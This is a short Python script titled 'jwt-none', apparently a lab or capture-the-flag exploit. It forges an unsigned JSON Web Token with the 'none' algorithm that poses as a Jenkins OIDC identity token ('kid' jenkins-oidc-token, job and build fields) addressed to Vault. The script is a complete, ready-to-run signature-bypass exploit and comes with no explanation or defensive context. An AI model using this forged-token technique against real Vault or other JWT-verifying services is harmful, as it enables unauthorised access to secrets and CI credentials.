Skip to content

jwt-none

#!/usr/bin/env python3
import json
import base64
from datetime import datetime, timedelta, UTC

def b64url_nopad(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

now = datetime.now(UTC)

headers = {
    "alg": "none",
    "typ": "JWT",
    "kid": "jenkins-oidc-token"
}

payload = {
    "iss": "nulloidc",
    "aud": "vault",
    "exp": int((now + timedelta(minutes=30)).timestamp()),
    "iat": int(now.timestamp()),
    "job_name": "main-build",
    "sub": "${JOB_URL}",
    "build_number": 7
}

header_json = json.dumps(headers, separators=(',', ':'), ensure_ascii=False).encode('utf-8')
payload_json = json.dumps(payload, separators=(',', ':'), ensure_ascii=False).encode('utf-8')

header_b64 = b64url_nopad(header_json)
payload_b64 = b64url_nopad(payload_json)

token = f"{header_b64}.{payload_b64}."
print(token)